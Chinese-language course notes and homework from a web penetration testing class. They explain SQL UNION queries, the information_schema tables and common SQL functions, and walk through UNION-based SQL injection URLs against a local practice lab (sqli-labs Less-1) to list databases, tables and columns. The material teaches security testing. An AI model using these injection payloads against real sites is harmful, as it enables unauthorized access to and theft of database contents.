联合查询
union就是拼接作用 但是左右两遍字段名数量必须保持一致 才能将左右两边结果拼接到一起
和字段类型无关系只要求字段数量一致
SELECT * from test where id =1 union SELECT 10,20,30,40,50;
select * from test where id=1 union select *from test where id=2;
左边条件不成立右边条件成立只能显示右边结果
SELECT * from test where id = -1 union SELECT 10,20,30,40,50;
SELECT * from test where id = -1 union SELECT 10,20,30,40,50 union SELECT * from test where id =1;
#查询语句
select user FROM test where id = 1 and pass = "abcd" union SELECT VERSION(); #联合注⼊漏洞
select user FROM test where id = 1 and pass = "abcd" union SELECT database();
1. information_schema数据库简介
这个数据库⾥⾯存放了所有数据的库名、表名、字段名、权限等等信息
SCHEMATA ⾥⾯存放的是所有的数据库的信息
TABLES ⾥⾯存放的是所有的表的信息
COLUMNS ⾥⾯存放的是所有字段的信息
#通过⾃带数据获取数据
#获取⽬标的所有数据库名称
select user FROM test where id = -1 and pass = "abcd" UNION SELECT schema_name from
information_schema.SCHEMATA #联合注⼊漏洞
SELECT user FROM test WHERE id = -1 AND pass = 'abcd' UNION SELECT CONVERT(schema_name
USING utf8mb4) COLLATE utf8mb4_general_ci FROM information_schema.SCHEMATA;
#获取⽬标的指定数据库⾥⾯,数据表的名称
SELECT table_name from information_schema.TABLES where table_schema = "yijin"
#获取⽬标的指定数据库⾥⾯,指定数据表的字段名称
SELECT COLUMN_NAME FROM information_schema.COLUMNS where TABLE_SCHEMA = "yijin" and
TABLE_NAME = "test"
网址sql注入
http://192.168.150.144/sqli/Less-1/?id=2
http://192.168.150.144/sqli/Less-1/?id=2' order by 3 %23
http://192.168.150.144/sqli/Less ... rder%20by%204%20%23 出现啦URL编码 %23是注释#号
查出有3个字段
http://192.168.150.144/sqli/Less-1/?id=2' union select 1,2,3%23
http://192.168.150.144/sqli/Less-1/?id=-1%27%20union%20select%201,2,3%23
http://192.168.150.144/sqli/Less-1/?id=-1%27%20union%20select%201,database(),3%23
http://192.168.150.144/sqli/Less-1/?id=2' union select 1,database(),schema_name from
information_schema.SCHEMATA %23
http://192.168.150.144/sqli/Less-1/?id=2' union select 1,database(),schema_name from
information_schema.SCHEMATA limit 1,2 %23
hackbar插件下载链接-https://github.com/HCTYMFF/hackbar2.1.3
WEB渗透测试工程师系统班20303期 第12节课作业 一、 常用的sql函数有哪些? 关键函数
#length-查询字符串长度
select length("abcdefg");
#concat-用于字符串拼接
SELECT CONCAT(1,2,3,4);
SELECT CONCAT((SELECT pass from test WHERE id = 5),1);
也可以放入sql语句-查询出来得字符和后面得字符(就是1)进行拼接
#substr-用于字符串截取
SELECT SUBSTR("hello world!!",1,10);从第1位开始截取往后截取10位
SELECT SUBSTR("hello world!!",3,5);
#sleep-休眠函数以秒为单位
SELECT SLEEP(5);
SELECT SLEEP(10);
#其他函数
select curtime(); 返回当前时间
select date("2025-6-26");从日期或日期时间表达式中提取日期值
SELECT USER(); 查看当前用户
SELECT DATABASE();查看当前数据库
SELECT VERSION();查看当前数据库版本
select bin();进行二进制编码
SELECT HEX('Hello');HEX() 函数能够把一个字符串或者数字转换为十六进制表示
SELECT UNHEX('48656C6C6F');UNHEX() 的反向操作
二、 information_schema数据库里面重点应该关注哪些数据表? SCHEMATA ⾥⾯存放的是所有的数据库的信息
TABLES ⾥⾯存放的是所有的表的信息
COLUMNS ⾥⾯存放的是所有字段的信息 三、 通过information_schema查询库名、表名、以及自己创建的数据表的字段名和具体数据
SELECT schema_name from information_schema.SCHEMATA
SELECT table_name from information_schema.TABLES where table_schema = "yijin"
SELECT COLUMN_NAME FROM information_schema.COLUMNS where TABLE_SCHEMA = "yijin" and
TABLE_NAME = "test"
|